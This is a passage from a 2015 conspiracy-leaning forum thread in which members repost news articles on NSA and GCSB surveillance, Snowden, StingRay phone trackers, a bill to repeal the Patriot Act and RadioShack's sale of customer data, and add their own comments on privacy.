He said the head of each mission center would draw personnel from the five directorates to follow urgent threats and fill information gaps. The centers will be organized by region, such as Africa or East Asia, or by type of threat, such as terrorism or illicit weapons proliferation.

Brennan said that the CIA had been “going all out” since 2001 but that he decided to “take a step back” to look at possible improvements after President Obama appointed him to head the agency in 2013.

Last September, Brennan appointed nine senior intelligence officials to see whether CIA organizational structure and policies should change. After three months, which included a poll of the CIA workforce, the team made recommendations that formed the basis of what Brennan decided to do.


Some are largely symbolic. The National Clandestine Service will revert to
 the name it used for six
 decades until 2005, the Directorate of Operations, a moniker familiar to fans of Cold War thrillers. The directorate of intelligence post will be renamed directorate of analysis to better reflect its duties.

The agency is also revamping how it teaches spycraft. Instead of each directorate running its own schools, training programs will be brought together under a chancellor at a facility Brennan called “CIA University.”

The changes will be rolled out over the next several months, Brennan said. “None of this can be done at the flip of a light switch,” he said.

brian.bennett@latimes.com



Title: Re: they know what you are doing
Post by: Glaucon on March 07, 2015, 01:22:09 pm
I found a better way :P

Just invite them in... it will catch them off guard :D
Exactly

I send the FBI emails all the time. When the Civil Liberties and privacy office of the NSA disseminates something, I mark the thing up with tons of comments and email it back to them  ;D ;D
Don't forget the NSA is a foreign intelligence agency. If you're paranoid, be paranoid of the FBI.
Title: Re: they know what you are doing
Post by: zorgon on March 07, 2015, 03:02:49 pm
Just an FYI  when we were checking IP addresses for spam for new members one account was the US NAVY Cyber Spook office in Quantico

Not sure if it is still here after we deleted the zero post members because I forgot which one it was. I think I posted it in Mod chat though  :D

Google searches:

Navy cyber crime unit (https://www.google.com/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#q=navy%20cyber%20crime%20unit)

Army cyber crime unit (https://www.google.com/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#q=army+cyber+crime+unit)
Title: Re: they know what you are doing
Post by: space otter on March 07, 2015, 04:54:30 pm
(http://sw.propwashgang.org/nsa_cartoon.jpg)

(https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRq6Tycj5b80oEymMX2KvIFQ4HQ7z915JUBoSkJ7TqStm85BfCe)   (https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQ6pqqhK37Ji4vybV-0kHWRiQe7Oc_kcsuGrd_gdMaKbsvz7Md4NQ)

      (https://cybersecurityinitiative.files.wordpress.com/2013/04/3.jpg?w=300&h=233)   (https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcQSGPuj1fxZCltK2LrZ4S__pOkDOWURF23GruYEbWuDYPPMcw87)


(https://traxarmstrong.com/wp-content/uploads/2013/05/The-Evolution-Of-War.jpg)

Title: Re: they know what you are doing
Post by: space otter on March 07, 2015, 08:41:21 pm

gonna be interesting to see if anyone takes him  - in his attempt to leave russia



Snowden Documents: New Zealand Spying On Pacific Neighbors And Indonesia
 


 Reuters 
   Posted:  03/04/2015 8:31 pm EST    Updated:  03/05/2015 1:59 pm EST

vid at link


WELLINGTON, March 5 (Reuters) - New Zealand has been spying electronically on its Pacific Island neighbors and Indonesia and sharing the intelligence with its international allies, according to documents released on Thursday.

The documents, released by former U.S. National Security Authority contractor Edward Snowden and dating back to 2009, said New Zealand's electronic spy agency had intercepted emails, mobile and fixed line phone calls, social media messages and other communications in small Pacific states including Fiji, Samoa, Solomon Islands, and French Polynesia.

The material gathered by the Government Communications Security Bureau (GCSB) was shared with the U.S. National Security Agency (NSA), which along with agencies in Australia, Britain, and Canada, make up the "Five Eyes" surveillance network.

"They've gone from some selected targeting of the South Pacific states and other targets to a new stage of where they just hoover up everything," investigative writer Nicky Hager said on Radio New Zealand.

"They take every single phone call, every single email, and they go straight off into databases, which are U.S. National Security Agency databases."

Hager, who is collaborating with the New Zealand Herald newspaper and Intercept website in revealing the documents, said there would be further disclosures.

The documents also said a New Zealand GCSB officer had worked with the Australian Signals Directorate in spying on Indonesian cellphone company Telkomsel.

Prime Minister John Key refused to comment on the disclosures, but had said on Wednesday when asked about their expected release that they were bound to be wrong. The GCSB also refused comment.

The role of the agency, which has a large eavesdropping facility at the top of the country's South Island, was an issue in last year's general election, with documents released by Snowden suggesting the GCSB was planning to conduct mass domestic surveillance.

The GCSB is banned from spying on New Zealand citizens, unless authorized to support other agencies, but has no legal restrictions on foreign activities.

The South Pacific region has seen military coups in Fiji, inter-communal armed strife in the Solomon Islands, while France maintains military bases in Tahiti and New Caledonia.

China has also been increasing its influence and development aid to small island states.

(Reporting by Gyles Beckford; Editing by Michael Perry)

http://www.huffingtonpost.com/2015/03/04/snowden-new-zealand-spying_n_6804742.html?cps=gravity_1598_-1460152385019099665
Title: Re: they know what you are doing
Post by: space otter on March 08, 2015, 04:30:19 pm


Edward Snowden Wants Switzerland To Grant Him Asylum
 
 Reuters 
   Posted:  03/06/2015 9:56 am EST    Updated:  03/06/2015 11:59 am EST

By Stephanie Nebehay

GENEVA, March 6 (Reuters) - Edward Snowden has made a public appeal for Switzerland to grant him asylum, saying he would like to return to live in Geneva, where he once worked undercover for the Central Intelligence Agency.

The fugitive former U.S. spy agency contractor, wanted by Washington for leaking details of U.S. mass surveillance programs, spoke from Moscow by video link to a Geneva audience after a viewing of "Citizenfour," an Oscar-winning documentary about his case.

"I would love to return to Switzerland, some of my favorite memories are from Geneva. It's a wonderful place," he told the International Film Festival and Forum on Human Rights on Thursday night, where he was asked about seeking asylum.

"I do think Switzerland would be a sort of great political option because it has a history of neutrality," he said, praising its multicultural diversity and human rights record.

Snowden said he had appealed to 21 countries, "the majority in central and Western Europe," for asylum after the United States canceled his passport and he was stopped from going to Ecuador.

"Unfortunately no country said yes," he said, blaming "political interference" by the Obama administration.

Snowden was accredited to the U.S. diplomatic mission in Geneva from March 2007 to February 2009, tapping communications systems.

"Switzerland still has an active U.S. espionage presence, I think that is true of other countries as well ... espionage is illegal in Switzerland," he said.

Snowden, 31, reiterated that he would not return to the United States unless offered a "fair trial."

"I am working very hard with my lawyers to try to get reliable guarantees of a fair trial. Unfortunately the Department of Justice is unwilling to agree in that regard.

"The only thing they have said at this point is that they would not execute me, which is not the same as a fair trial."

Sherif Elsayed-Ali of Amnesty International said in a debate after the film by Laura Poitras that Snowden deserved asylum.

"Edward Snowden is without a doubt a whistleblower and someone who should be protected. He should not even be tried, because what he did was to expose government over-reach and things that should not be happening."

Under current Swiss laws, an applicant has to be on Swiss territory to lodge an asylum request.

Snowden currently has asylum in Russia.

Historian Hubertus Knabe said in the debate: "It's so tragic that he got asylum where democracy does not exist and the secret police has such an important role that the former head of it is now president." (Reporting by Stephanie Nebehay; editing by Andrew Roche)



http://www.huffingtonpost.com/2015/03/06/edward-snowden-switzerland-asylum_n_6816302.html
Title: Re: they know what you are doing
Post by: space otter on March 16, 2015, 08:37:28 am

Police Gadget Tracks Phones? Shhh! It’s Secret


http://www.nytimes.com/2015/03/16/business/a-police-gadget-tracks-phones-shhh-its-secret.html?_r=1

 109 Comments 
Technology 

By MATT RICHTELMARCH 15, 2015

A powerful new surveillance tool being adopted by police departments across the country comes with an unusual requirement: To buy it, law enforcement officials must sign a nondisclosure agreement preventing them from saying almost anything about the technology.

Any disclosure about the technology, which tracks cellphones and is often called StingRay, could allow criminals and terrorists to circumvent it, the F.B.I. has said in an affidavit. But the tool is adopted in such secrecy that communities are not always sure what they are buying or whether the technology could raise serious privacy concerns.

The confidentiality has elevated the stakes in a longstanding debate about the public disclosure of government practices versus law enforcement’s desire to keep its methods confidential. While companies routinely require nondisclosure agreements for technical products, legal experts say these agreements raise questions and are unusual given the privacy and even constitutional issues at stake.

“It might be a totally legitimate business interest, or maybe they’re trying to keep people from realizing there are bigger privacy problems,” said Orin S. Kerr, a privacy law expert at George Washington University. “What’s the secret that they’re trying to hide?”

The issue led to a public dispute three weeks ago in Silicon Valley, where a sheriff asked county officials to spend $502,000 on the technology. The Santa Clara County sheriff, Laurie Smith, said the technology allowed for locating cellphones — belonging to, say, terrorists or a missing person. But when asked for details, she offered no technical specifications and acknowledged she had not seen a product demonstration.

Buying the technology, she said, required the signing of a nondisclosure agreement.

“So, just to be clear,” Joe Simitian, a county supervisor, said, “we are being asked to spend $500,000 of taxpayers’ money and $42,000 a year thereafter for a product for the name brand which we are not sure of, a product we have not seen, a demonstration we don’t have, and we have a nondisclosure requirement as a precondition. You want us to vote and spend money,” he continued, but “you can’t tell us more about it.”



The technology goes by various names, including StingRay, KingFish or, generically, cell site simulator. It is a rectangular device, small enough to fit into a suitcase, that intercepts a cellphone signal by acting like a cellphone tower.

The technology can also capture texts, calls, emails and other data, and prosecutors have received court approval to use it for such purposes.

Cell site simulators are catching on while law enforcement officials are adding other digital tools, like video cameras, license-plate readers, drones, programs that scan billions of phone records and gunshot detection sensors. Some of those tools have invited resistance from municipalities and legislators on privacy grounds.

The nondisclosure agreements for the cell site simulators are overseen by the Federal Bureau of Investigation and typically involve the Harris Corporation, a multibillion-dollar defense contractor and a maker of the technology. What has opponents particularly concerned about StingRay is that the technology, unlike other phone surveillance methods, can also scan all the cellphones in the area where it is being used, not just the target phone.


“It’s scanning the area. What is the government doing with that information?” said Linda Lye, a lawyer for the American Civil Liberties Union of Northern California, which in 2013 sued the Justice Department to force it to disclose more about the technology. In November, in a response to the lawsuit, the government said it had asked the courts to allow the technology to capture content, not just identify subscriber location.

The nondisclosure agreements make it hard to know how widely the technology has been adopted. But news reports from around the country indicate use by local and state police agencies stretching from Los Angeles to Wisconsin to New York, where the state police use it. Some departments have used it for several years. Money for the devices comes from individual agencies and sometimes, as in the case of Santa Clara County, from the federal government through Homeland Security grants.

Christopher Allen, an F.B.I. spokesman, said “location information is a vital component” of law enforcement. The agency, he said, “does not keep repositories of cell tower data for any purpose other than in connection with a specific investigation.”

A fuller explanation of the F.B.I.’s position is provided in two publicly sworn affidavits about StingRay, including one filed in 2014 in Virginia. In the affidavit, a supervisory special agent, Bradley S. Morrison, said disclosure of the technology’s specifications would let criminals, including terrorists, “thwart the use of this technology.”

“Disclosure of even minor details” could harm law enforcement, he said, by letting “adversaries” put together the pieces of the technology like assembling a “jigsaw puzzle.” He said the F.B.I. had entered into the nondisclosure agreements with local authorities for those reasons. In addition, he said, the technology is related to homeland security and is therefore subject to federal control.

In a second affidavit, given in 2011, the same special agent acknowledged that the device could gather identifying information from phones of bystanders. Such data “from all wireless devices in the immediate area of the F.B.I. device that subscribe to a particular provider may be incidentally recorded, including those of innocent, nontarget devices.”

But, he added, that information is purged to ensure privacy rights.

In December, two senators, Patrick J. Leahy and Charles E. Grassley, sent a letter expressing concerns about the scope of the F.B.I.’s StingRay use to Eric H. Holder Jr., the attorney general, and Jeh Johnson, the secretary of Homeland Security.
The Harris Corporation declined to comment, according to Jim Burke, a company spokesman. Harris, based in Melbourne, Fla., has $5 billion in annual sales and specializes in communications technology, including battlefield radios.

Jon Michaels, a law professor at the University of California, Los Angeles, who studies government procurement, said Harris’s role with the nondisclosure agreements gave the company tremendous power over privacy policies in the public arena.



“This is like the privatization of a legal regime,” he said. Referring to Harris, he said: “They get to call the shots.”

For instance, in Tucson, a journalist asking the Police Department about its StingRay use was given a copy of a nondisclosure agreement. “The City of Tucson shall not discuss, publish, release or disclose any information pertaining to the product,” it read, and then noted: “Without the prior written consent of Harris.”

The secrecy appears to have unintended consequences. A recent article in The Washington Post detailed how a man in Florida who was accused of armed robbery was located using StingRay.

As the case proceeded, a defense lawyer asked the police to explain how the technology worked. The police and prosecutors declined to produce the machine and, rather than meet a judge’s order that they do so, the state gave the defendant a plea bargain for petty theft.

At the meeting in Santa Clara County last month, the county supervisors voted 4 to 1 to authorize the purchase, but they also voted to require the adoption of a privacy policy.


(Sheriff Smith argued to the supervisors that she had adequately explained the technology and said she resented that Mr. Simitian’s questioning seemed to “suggest we are not mindful of people’s rights and the Constitution.”)

A few days later, the county asked Harris for a demonstration open to county supervisors. The company refused, Mr. Simitian said, noting that “only people with badges” would be permitted. Further, he said, the company declined to provide a copy of the nondisclosure agreement — at least until after the demonstration.

“Not only is there a nondisclosure agreement, for the time being, at least, we can’t even see the nondisclosure agreement,” Mr. Simitian said. “We may be able to see it later, I don’t know.”

 

A version of this article appears in print on March 16, 2015, on page A1 of the New York edition with the headline: A Police Gadget Tracks Phones? Shhh! It’s Secret. Order Reprints| Today's Paper|Subscribe





Title: Re: they know what you are doing
Post by: Somamech on March 16, 2015, 09:02:24 am
Spaceotter, it would seem this company are behind that little ditto :D

http://harris.com/

Quote
The nondisclosure agreements for the cell site simulators are overseen by the Federal Bureau of Investigation and typically involve the Harris Corporation, a multibillion-dollar defense contractor and a maker of the technology. What has opponents particularly concerned about StingRay is that the technology, unlike other phone surveillance methods, can also scan all the cellphones in the area where it is being used, not just the target phone.

I kninda of imagine that very rich people get their kick's out of being ultra voyeuristic.  They are as diverted by social media as what people are.. Except they bank serious  coin shaping consciousness :D
Title: Re: they know what you are doing
Post by: Glaucon on March 19, 2015, 06:27:06 pm
I try not to purport, ever, what Rich elite people's intentions are. I'd be willing to bet it's a whole lot more "topological" and complex then shaping their own market via subverted citizens.

Albeit, I completely understand you, Somamech. I don't believe you meant to over simplify anything.
Title: Re: they know what you are doing
Post by: space otter on March 24, 2015, 07:50:49 pm

this will probably not pass.. but good try..?


Bipartisan Bill Would Repeal Patriot Act To End Government Spying On Americans



 The Huffington Post    |  By  Lydia O'Connor   
  Posted:  03/24/2015 8:20 pm EDT    Updated:  1 hour ago

A bipartisan bill introduced in Congress Tuesday would end government spying on ordinary Americans by repealing the Patriot Act as advocates rush to reauthorize the law's most controversial provisions before a June deadline.

The Surveillance State Repeal Act, introduced by Reps. Mark Pocan (D-Wis.) and Thomas Massie (R-Ky.), would overturn the 2001 Patriot Act that allowed for mass government surveillance in the name of anti-terrorism and the destruction of any information collected under it. The bill also would repeal the 2008 FISA Amendments Act, which allows Internet spying, and would stop the government from forcing tech manufacturers to compromise encryption or privacy features to allow spying on their devices. Whistleblowers like Edward Snowden, who exposed the National Security Agency's mass surveillance in 2013, would have additional protections.

"Revelations about the NSA's programs reveal the extraordinary extent to which the program has invaded Americans' privacy," Pocan said in a press release. "I reject the notion that we must sacrifice liberty for security -- we can live in a secure nation which also upholds a strong commitment to civil liberties. This legislation ends the NSA's dragnet surveillance practices, while putting provisions in place to protect the privacy of American citizens through real and lasting change."

The bill faces an uphill battle in Congress, The Hill notes, as milder bills aimed at the Patriot Act in recent years haven't mustered enough votes to move forward.

Meanwhile, the provision of the Patriot Act that gives the NSA legal authority to carry out its phone data dragnet is set to expire June 1. While anti-surveillance members of Congress likely don't have the votes to extinguish the program, they may be able to shift the collection of phone records to communication companies from the NSA



http://www.huffingtonpost.com/2015/03/24/surveillance-state-repeal-act_n_6935632.html?cps=gravity_1787_2944392106168621232

.............................

http://www.usnews.com/news/articles/2015/03/24/surveillance-state-repeal-push-resumes-on-capitol-hill

By Steven Nelson

March 24, 2015 | 6:29 p.m. EDT

As the expiration of controversial Patriot Act provisions nears, anti-mass surveillance congressmen and privacy advocates are pushing for wholesale repeal of that 2001 law.

“We need to repeal all of this junk and just start over,” Rep. Thomas Massie, R-Ky., said Tuesday at a Capitol Hill briefing geared toward congressional staffers.

Massie is working with Rep. Mark Pocan, D-Wis., to rally support for a bill that would do just that.

The bill, the Surveillance State Repeal Act, would abolish the entire Patriot Act and the FISA Amendment Act of 2008, which gave legal footing to more ambitious Bush administration surveillance programs.


[RELATED: Months After Appeals Argued, NSA Cases Twist in the Wind]

“This isn’t just tinkering around the edges," Pocan told about two dozen event attendees.

The bill would require warrants for collecting Americans’ communications, attempt to restrain mass surveillance of Americans under Executive Order 12333 and ban spy agencies from foisting surveillance-enabling product redesigns on tech companies, a reform that passed the House 293-123 last year before being cut from a large spending bill by congressional leaders.

Massie said the bill would significantly enhance whistleblower protections, meaning “the next Edward Snowden doesn’t need to go to Russia or Hong Kong.”

Snowden, a former contractor who exposed vast U.S. phone and Internet surveillance beginning in June 2013, “couldn’t have come to me legally and exposed it to me," Massie said. His only option would have been to speak with intelligence committee members sympathetic to the programs, he said, “[and] they’d probably take him right to jail.”

[EARLIER: NSA Restrictions Pass House by Large Margin]

Massie scoffed at what he sees as fear-mongering from executive branch officials who, he says, actually hold up photos of the twin towers burning while lobbying against mass surveillance reform in closed congressional hearings.

An earlier version of the surveillance-repealing package was introduced in 2013 by Rep. Rush Holt, D-N.J., who has since left Congress.

On hand to sell the bill Tuesday were policy advocates who promised pressure on members and who attempted to make staffers comfortable with the idea of wholesale repeals.

Cato Institute policy analyst Patrick Eddington, a former Holt aide, said it was time to “raise the bar on what constitutes reform.”

[READ: Whistleblower Debates Top Spy Lawyer Over Surveillance Order ]

Eddington said it was “very disturbing” that NSA officials exaggerated the usefulness of programs such as the dragnet collection of U.S. phone records immediately after Snowden’s first leaks, and he questioned whether anything in the Patriot Act prevented a terror attack.

Panels probing 9/11 found a lack of information-sharing, not information itself, he said. NSA spy programs, Eddington reminded staffers, did not prevent jihadis from bombing the 2013 Boston Marathon, murdering 13 troops at Fort Hood in 2009 or from boarding and attempting to bomb aircraft with explosives hidden in underwear and shoes.

CREDO Mobile campaign manager Zach Malitz said that as the Patriot Act provisions’ June expiration approaches, “the Obama administration will put overwhelming pressure” on lawmakers to renew spy authorities, likely with a few “flimsy superficial reforms.”

Malitz said the bill would be an “enormous step in the right direction” and that CREDO – a phone company that also runs a large progressive advocacy group – will continue to oppose legislation that it sees as giving the mere appearance of reform, singling out last year’s USA Freedom Act, which would have ended the bulk phone record program but renewed Patriot Act provisions.

[ALSO: Lawmakers Push to Block Warrantless Harvest of Your Emails, Location Data]

Shahid Buttar, executive director of the Bill of Rights Defense Committee, pitched the legislation to staffers as “institutional self-protection” for the legislative branch, noting Patriot Act sponsor Rep. Jim Sensenbrenner, R-Wis., and others say they first learned from Snowden of certain NSA surveillance programs allegedly allowed under their legislation.


Editorial cartoon on NSA phone call collection

See Photos

Editorial Cartoons on the NSA

(http://www.usnews.com/dims4/USNEWS/3660fcd/2147483647/thumbnail/225x150/format/png/quality/85/?url=%2Fcmsmedia%2F55%2F0b%2Fe520eeae467db1a342bfe7a88e47%2F20140326edhan-a.tif)
Norman Singleton, vice president of policy at the Campaign for Liberty and congressional aide to former Rep. Ron Paul, R-Texas, suggested if any Senate staffers were in attendance they should talk their bosses into pushing a companion bill.

When the Patriot Act passed, Singleton recalled, “nobody read the bill [and] nobody cared.” The Department of Justice, he said, “took their wish list off the shelf and packaged it as counterterrorism

..................................


https://www.congress.gov/bill/114th-congress/house-bill/1466


H.R.1466 - To repeal the USA PATRIOT Act and the FISA Amendments Act of 2008, and for other purposes.
114th Congress (2015-2016) | Get alerts 


Sponsor:
Rep. Pocan, Mark [D-WI-2] (Introduced 03/19/2015)

Committees:
House - Armed Services; Education and the Workforce; Energy and Commerce; Financial Services; Foreign Affairs; Intelligence (Permanent); Judiciary; Transportation and Infrastructure

Latest Action:
03/19/2015 Referred to the Committee on the Judiciary, and in addition to the Committees on Intelligence (Permanent Select), Financial Services, Foreign Affairs, Energy and Commerce, Education and the Workforce, Transportation and Infrastructure, and Armed Services, for a period to be subsequently determined by the Speaker, in each case for consideration of such provisions as fall within the jurisdiction of the committee concerned.


Summary: H.R.1466 — 114th Congress (2015-2016)All Bill Information (Except Text)


A summary is in progress.



........................


this one didn't work...sigh

https://www.congress.gov/bill/113th-congress/house-bill/2818

H.R.2818 - Surveillance State Repeal Act
113th Congress (2013-2014)

Sponsor:
Rep. Holt, Rush [D-NJ-12] (Introduced 07/24/2013)

Committees:
House - Armed Services; Education and the Workforce; Energy and Commerce; Financial Services; Foreign Affairs; Intelligence (Permanent); Judiciary; Transportation and Infrastructure

Latest Action:
09/13/2013 Referred to the Subcommittee on Workforce Protections.




Summary: H.R.2818 — 113th Congress (2013-2014)All Bill Information (Except Text)



There is one summary for this bill. Bill summaries are authored by CRS.

Shown Here:
Introduced in House (07/24/2013)

Surveillance State Repeal Act - Repeals the USA PATRIOT Act and the FISA Amendments Act of 2008 (thereby restoring or reviving provisions amended or repealed by such Acts as if such Acts had not been enacted), except with respect to reports to Congress regarding court orders under the Foreign Intelligence Surveillance Act of 1978 (FISA) and the acquisition of intelligence information concerning an entity not substantially composed of U.S. persons that is engaged in the international proliferation of weapons of mass destruction.

Extends from 7 to 10 years the maximum term of FISA judges. Makes such judges eligible for redesignation.

Permits FISA courts to appoint special masters to advise on technical issues raised during proceedings.

Requires orders approving certain electronic surveillance to direct that, upon request of the applicant, any person or entity must furnish all information, facilities, or technical assistance necessary to accomplish such surveillance in a manner to protect its secrecy and produce a minimum of interference with the services that such carrier, landlord, custodian, or other person is providing the target of such surveillance (thereby retaining the ability to conduct surveillance on such targets regardless of the type of communications methods or devices being used by the subject of the surveillance).

Prohibits information relating to a U.S. person from being acquired pursuant to FISA without a valid warrant based on probable cause.

Prohibits the federal government from requiring manufacturers of electronic devices and related software to build in mechanisms allowing the federal government to bypass encryption or privacy technology.

Directs the Comptroller General (GAO) to report annually on the federal government's compliance with FISA.

Permits an employee of or contractor to an element of the intelligence community with knowledge of FISA-authorized programs and activities to submit a covered complaint to the Comptroller General, to the House or Senate intelligence committees, or in accordance with a process under the National Security Act of 1947 with respect to reports made to the Inspector General of the Intelligence Community. Defines a "covered complaint" as a complaint or information concerning FISA-authorized programs and activities that an employee or contractor reasonably believes is evidence of: (1) a violation of any law, rule, or regulation; or (2) gross mismanagement, a gross waste of funds, an abuse of authority, or a substantial and specific danger to public health or safety. Subjects an officer or employee of an element of the intelligence community to administrative sanctions, including termination, for taking retaliatory action against an employee or contractor who seeks to disclose, or who discloses, such information.


Title: Re: they know what you are doing
Post by: space otter on March 26, 2015, 08:02:31 am


geeeeeeeze...!!!! :(


Report: Radio Shack To Sell Customers’ Personal Information In Bankruptcy Sale

March 25, 2015 5:18 PM
NEW YORK (CBSNewYork) — When you go shopping, you probably think stores will keep your personal information safe and secure.

But now, a report says Radio Shack is ready to auction off customer information as part of its bankruptcy sale.

As CBS2’s Dick Brennan reported, the report says Radio Shack is ready to sell information they have on some 117 million customers, including names, addresses, phone numbers and other details on purchases.

This despite the Radio Shack privacy policy, which says “We will not sell or rent your personally identifiable information to anyone at any time.”

And some consumer experts say what Radio Shack is doing is nothing new.

“People are looking at Radio Shack now and they are gonna vilify Radio Shack,” said consumer expert Paul Viollis. “But at the end of the day, Radio Shack isn’t doing anything all other major corporations haven’t been doing for many years.”

But states are lining up against the move. The Texas attorney general has filed an objection to the sale.

And now, New York Attorney General Eric Schneiderman has issued a statement, saying “When a company collects private customer data on the condition that it will not be resold, it is the company’s responsibility to uphold their end of the bargain.”

So while this may become a legal battle, consumers are left wondering what they can do to protect their information.

Viollis says, just say no.

“When you go shopping the proprietor is not entitled to any personal information outside of the information you need to effect that transaction,” he said. “So if they are going to ask you anything additional, the answer is absolutely not.”

Schneiderman says his office will continue to follow the Radio Shack bankruptcy and whether it auctions off private data.

Schneiderman says he’s committed to taking appropriate action to protect consumers.


http://newyork.cbslocal.com/2015/03/25/report-radio-shack-to-sell-customers-personal-information-in-bankruptcy-sale/

Title: Re: they know what you are doing
Post by: zorgon on March 26, 2015, 03:14:24 pm
I went into a Sears store to but a table saw. I paid cash.  Clerk asked for my name and zip code. I said "Why? I paid cash"  They insisted got rude. Called for a manager and he finally said they just needed a name for will call to pick up the item from the back...

He apologized for the clerk's attitude and I said okay  my name is George  :P  Picked up my saw

How many people will give a retailer personal ID so they can track your purchases?  Uhaul has every rental I ever made since I moved to Vegas on file  (Yes it does give me benefits too :P )

Blockbuster movie rentals wanted a credit card on file... I asked where they store that info. They showed me a record book that was kept under the counter for any clerk to reference. I said no thanks and went to Hollywood

Blockbuster is now out of business  I wonder why?
Title: Re: they know what you are doing
Post by: space otter on March 26, 2015, 03:24:00 pm


yeah I had that happen a month ago.. big ticket item.. used gift cards
same thing they wanted my name and address...I said no..the guy very nicely says.. we need it for our records..
I said..ok mary smith and use the phone number and address for this store.. cause it's going home with me..
he started to laugh and said.. good one,  boy are they going to freak when they see this

I only needed the bar cdoe on the reciept to pick it up.


it was a long time before I had hubby trained to say to the nice clerk asking for personal info.. 'we don't give that info out, thank you"
but he still feels bad.. ::)
so I told him to just make something up...he can't..lol

Title: Re: they know what you are doing
Post by: space otter on March 29, 2015, 08:41:15 am


Before Edward Snowden Leaks, NSA Mulled Ending Phone Program


AP      |  By By KEN DILANIAN 
   Posted:  03/29/2015 8:06 am EDT    Updated:  28 minutes ago

WASHINGTON (AP) — The National Security Agency considered abandoning its secret program to collect and store American calling records in the months before leaker Edward Snowden revealed the practice, current and former intelligence officials say, because some officials believed the costs outweighed the meager counterterrorism benefits.


After the leak and the collective surprise around the world, NSA leaders strongly defended the phone records program to Congress and the public, but without disclosing the internal debate.

The proposal to kill the program was circulating among top managers but had not yet reached the desk of Gen. Keith Alexander, then the NSA director, according to current and former intelligence officials who would not be quoted because the details are sensitive. Two former senior NSA officials say they doubt Alexander would have approved it.


Still, the behind-the-scenes NSA concerns, which have not been reported previously, could be relevant as Congress decides whether to renew or modify the phone records collection when the law authorizing it expires in June.


The internal critics pointed out that the already high costs of vacuuming up and storing the "to and from" information from nearly every domestic landline call were rising, the system was not capturing most cellphone calls, and program was not central to unraveling terrorist plots, the officials said. They worried about public outrage if the program ever was revealed.


After the program was disclosed, civil liberties advocates attacked it, saying the records could give a secret intelligence agency a road map to Americans' private activities. NSA officials presented a forceful rebuttal that helped shaped public opinion.


Responding to widespread criticism, President Barack Obama in January 2014 proposed that the NSA stop collecting the records, but instead request them when needed in terrorism investigations from telephone companies, which tend to keep them for 18 months.


Yet the president has insisted that legislation is required to adopt his proposal, and Congress has not acted. So the NSA continues to collect and store records of private U.S. phone calls for use in terrorism investigations under Section 215 of the Patriot Act. Many lawmakers want the program to continue as is.


Alexander argued that the program was an essential tool because it allows the FBI and the NSA to hunt for domestic plots by searching American calling records against phone numbers associated with international terrorists. He and other NSA officials support Obama's plan to let the phone companies keep the data, as long as the government quickly can search it.


Civil liberties activists say it was never a good idea to allow a secret intelligence agency to store records of Americans' private phone calls, and some are not sure the government should search them in bulk. They say government can point to only a single domestic terrorism defendant who was implicated by a phone records search under the program, a San Diego taxi driver who was convicted of raising $15,000 for a Somali terrorist group.


Some fault NSA for failing to disclose the internal debate about the program.


"This is consistent with our experience with the intelligence community," said Rep. Justin Amash, R-Mich. "Even when we have classified briefings, it's like a game of 20 questions and we can't get to the bottom of anything."


The proposal to halt phone records collection that was circulating in 2013 was separate from a 2009 examination of the program by NSA, sparked by objections from a senior NSA official, reported in November by The Associated Press. In that case, a senior NSA code breaker learned about the program and concluded it was wrong for the agency to collect and store American records. The NSA enlisted the Justice Department in an examination of whether the search function could be preserved with the records stores by the phone companies.


That would not work without a change in the law, the review concluded. Alexander, who retired in March 2014, opted to continue the program as is.


But the internal debate continued, current and former officials say, and critics within the NSA pressed their case against the program. To them, the program had become an expensive insurance policy with an increasing number of loopholes, given the lack of mobile data. They also knew it would be deeply controversial if made public.


By 2013, some NSA officials were ready to stop the bulk collection even though they knew they would lose the ability to search a database of U.S. calling records. As always, the FBI still would be able to obtain the phone records of suspects through a court order.


There was a precedent for ending collection cold turkey. Two years earlier, the NSA cited similar cost-benefit calculations when it stopped another secret program under which it was collecting Americans' email metadata — information showing who was communicating with whom, but not the content of the messages. That decision was made public via the Snowden leaks.


Alexander believed that the FBI and the NSA were still getting crucial value out of the phone records program, in contrast to the email records program, former NSA officials say.


After the Snowden leaks, independent experts who looked at the program didn't agree. A presidential task force examined NSA surveillance and recommended ending the phone records collection, saying it posed unacceptable privacy risks while doing little if anything to stop terrorism. The task force included Michael Morell, a former deputy CIA director, and Richard Clarke, a former White House counter terrorism adviser.


"We cannot discount the risk, in light of the lessons of our own history, that at some point in the future, high-level government officials will decide that this massive database of extraordinarily sensitive private information is there for the plucking," the report said. Times, dates and numbers called can provide a window into a person's activities and connections.


A separate inquiry by the Privacy and Civil Liberties Oversight Board concluded the same thing.


David Medine, chairman of that board, said the concerns raised internally by NSA officials were the same as theirs, yet when NSA officials came before the privacy board, they "put on a pretty strong defense for the program. Except their success stories didn't pan out," he said.

http://www.huffingtonpost.com/2015/03/29/nsa-phone-program_n_6963804.html

Title: Re: they know what you are doing
Post by: zorgon on March 29, 2015, 11:26:07 am
Still, the behind-the-scenes NSA concerns, which have not been reported previously, could be relevant as Congress decides whether to renew or modify the phone records collection when the law authorizing it expires in June.

Sigh....  The Secret Space Program expose credit goes to Gary McKinnon  a buffoon who only spouted what he heard on the internet and snooped on NASA computers that had no passwords and likely saw a screen savers of a spaceship :P He captured NOTHING  He remembered NOTHING  he produced NOTHING yet he is a hero

Before Ed Snowden there was Pegasus and Cryptome who told yawl about the NSA phone monitoring. We provided direct links to MOUS (cell phone monitoring stations) and ECHELON stations including military links and Code names   Even Walt Handlesman made a cartoon back in 2006 

The internet audience is fickle and has short term memory. They also forget that long before Snowden the government approved a ruling to force IP providerd to watch and report on yawl

[youtube]3knYQaK1yDc[/youtube]

https://www.youtube.com/watch?v=3knYQaK1yDc
Title: Re: they know what you are doing
Post by: zorgon on March 29, 2015, 11:36:54 am
One one of the many computers that store all your info  :D 

[youtube]4VTxyRVmL5c[/youtube]

https://www.youtube.com/watch?v=4VTxyRVmL5c
Title: Re: they know what you are doing
Post by: space otter on April 06, 2015, 03:30:59 pm


Edward Snowden Explains How The Government Can Get Your 'Dick Pic' During Interview With John Oliver
 


 The Huffington Post    |  By  Igor Bobic   
 
Posted:  04/06/2015 12:32 am EDT    Updated:  04/06/2015 10:59 am EDT




[youtube]http://www.youtube.com/watch?v=XEVlyP4_11M#t=43[/youtube]

Former NSA contractor Edward Snowden sat down for an interview with comedian John Oliver nearly two years after he leaked classified documents about U.S. government surveillance programs and fled to Russia to escape prosecution.

